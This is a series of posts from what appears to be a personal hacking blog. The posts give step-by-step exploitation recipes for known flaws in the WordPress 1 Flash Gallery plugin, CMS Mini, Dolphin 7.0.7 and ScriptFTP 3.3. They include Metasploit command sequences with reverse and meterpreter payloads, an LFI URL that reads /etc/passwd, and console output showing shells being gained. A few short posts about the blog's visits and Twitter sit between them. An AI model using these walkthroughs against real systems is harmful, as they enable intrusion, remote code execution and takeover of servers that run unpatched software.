WordPress 1 Flash Gallery Plugin Arbitrary File Upload Vulnerability

WordPress 1 Flash Gallery Plugin Arbitrary File Upload Vulnerability
Secunia Advisory SA45930
Release Date 2011-09-08
The vulnerability is caused due to the wp-content/plugins/1-flash-gallery/upload.php script (when "action" is set to "uploadify" and "fileext" is set to e.g. "php") improperly verifying uploaded files. This can be exploited to execute arbitrary PHP code by uploading a PHP file. The vulnerability is confirmed in version 1.5.6. Prior versions may also be affected.

Download the exploit from http://www.exploit-db.com/exploits/17801/
Copy to /pentest/exploits/framework3/modules/exploits/multi/http

Fix the payload /pentest/exploits/framework3/modules/payloads/singles/php/reverse_php.rb as I explained on my video.

msfconsole
use multi/http/flash_galery_wordpress
set RHOST 172.16.1.70
set URI /wordpress
set PAYLOAD php/reverse_php_airwolf
set LHOST 172.16.1.79
exploit

And that's it, thank you guys for watching it.

About posts in this blog

Hi Everyone, I am writing this post to help you guys help me .
I have posted stuff from LFI,RFI,Sql injection, exploits, how to write exploits, how to use some tools, so, I am not sure what else can I post. Should I post more exploits of RFI, LFI, sql injection and etc ?
The way to exploit is "always" the same, the only thing that changes is the software to be exploited. What do you guys think ? Should I repeat posts for the same thing(LFI,RFI,etc) on different products?

CMS Mini 0.2.2 Local File Inclusion Vulnerabilities

CMS Mini 0.2.2 Multiple Local File Inclusion Vulnerabilities

Hi everyone, this is a really quick post, this is just to show a LFI on CMS mini 0.2.2

Just access this URL and put some ../../../../ and the file that you wanna look, don't forget to change the IP address to your server.

http://172.16.1.70/cmsmini/admin/edit.php?name=../../../../../../../../../../../../etc/passwd

I know, its a boring post ;)

Dolphin 7.0.7 "eval()" PHP Code Execution Vulnerability

Dolphin "eval()" PHP Code Execution Vulnerability

Secunia Advisory SA46457
Release Date 2011-10-19
URL http://secunia.com/advisories/46457/
Exploit URL : http://www.exploit-db.com/exploits/17994/
Description: A vulnerability has been discovered in Dolphin, which can be exploited by malicious users to compromise a vulnerable system. Input passed via the "bubbles" parameter to member_menu_queries.php (when "action" is set to "get_bubbles_values") is not properly sanitised before being used in an "eval()" call. This can be exploited to execute arbitrary PHP code.

The vulnerability is confirmed in version 7.0.7. Other versions may also be affected.

----

Hi everyone, so, this is just a quick post to show dolphin 7.0.7 exploit. This is how you test it :
1) Download the application from http://www.4shared.com/file/HTsuoYry/Dolphin-v707.html
2) Install it
3) Download the exploit
4) Run the exploit in the format : php dolphin707.php 172.16.1.70 /dolphin/ user pass
Remember to change the ip to match yours.
5) You got your shell

This is what looks like
root@bt:~/exploits# php dolphin707.php 172.16.1.70 /dolphin/ admin hacktest

+------------------------------------------------------------+
| Dolphin <= 7.0.7 Remote PHP Code Injection Exploit by EgiX |
+------------------------------------------------------------+

dolphin-shell# id
uid=48(apache) gid=48(apache) groups=48(apache)



Thanks for whatching.

10k visits

I just want to say thank you all for visiting my blog, I just reached 10k visits and I am really pleased !!

Twitter

H everyone, after 1 week battle with twitter, I finally got my account up and running. I got banned since day one because they thought that I was managing loads of accounts, yeah, right.. well, anyway, now you guys can follow me in twitter at #pochackblog

Thank you all.

AmmSoft ScriptFTP 'GETLIST' or 'GETFILE' Commands Remote Buffer Overflow Vulnerability

AmmSoft ScriptFTP 'GETLIST' or 'GETFILE' Commands Remote Buffer Overflow Vulnerability
Class: Boundary Condition Error
CVE:
Remote: Yes
Local: No
Published: Sep 20 2011 12:00AM
Updated: Sep 30 2011 07:00AM
Credit: Tom Gregory
Vulnerable: AmmSoft ScriptFTP 3.3
URL : http://www.securityfocus.com/bid/49707
Description : ScriptFTP is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data. Attackers can exploit this issue to execute arbitrary code within the context of the application. Failed attacks may cause a denial-of-service condition. ScriptFTP 3.3 is vulnerable; other versions may also be affected.

In order to exploit this you can either use the python or the metasploit exploit, I prefer using the the metasploit because of the payloads. So the first thing you need to do is put the exploit under the folder /pentest/exploits/framework3/modules/exploits/windows , I called mine scriptftp33.rb , just paste the content of
http://www.securityfocus.com/data/vulnerabilities/exploits/49707.rb

Now step by step
1) msfconsole
2) use windows/ftp/scriptftp33 ( To use the exploit that we just created)
3) set PAYLOAD windows/meterpreter/bind_tcp (To use meterpreter as our payload)
4) set RHOST 172.16.1.7 (This is the ip address of the server that I am attacking)
5) exploit

Ok, now the attacking server bit is ready to go, you need to download the ftp script from
http://www.scriptftp.com/ScriptFTP_3_3_setup.exe and install it
Open the scriptftp and create and script with the following content:

OPENHOST("172.16.1.79","ftptest","passwordtest")
SETPASSIVE(ENABLED)
GETLIST($list,REMOTE_FILES)
CLOSEHOST


172.16.1.79 = The ip address of the attacking server.
ftptest = username
passwordtest = password
Remember to create this user in your attacking server.
Save it as exploit.ftp
Now click open and select exploit.ftp
If everything goes all right, in your metasploit you now should see something like this :
msf exploit(scriptftp33) > [*] 172.16.1.7:1518 LOGIN ftptest / passwordtest
[*] - Data connection set up
[*] - Sending directory list via data connection
[*] Sending stage (752128 bytes) to 172.16.1.7
[*] Meterpreter session 1 opened (172.16.1.79:37594 -> 172.16.1.7:4444) at 2011-09-30 10:15:21

+0100

Right, now you have your meterpreter session, just type " sessions -i 1" and you can do everything you want ;)

That's it guys.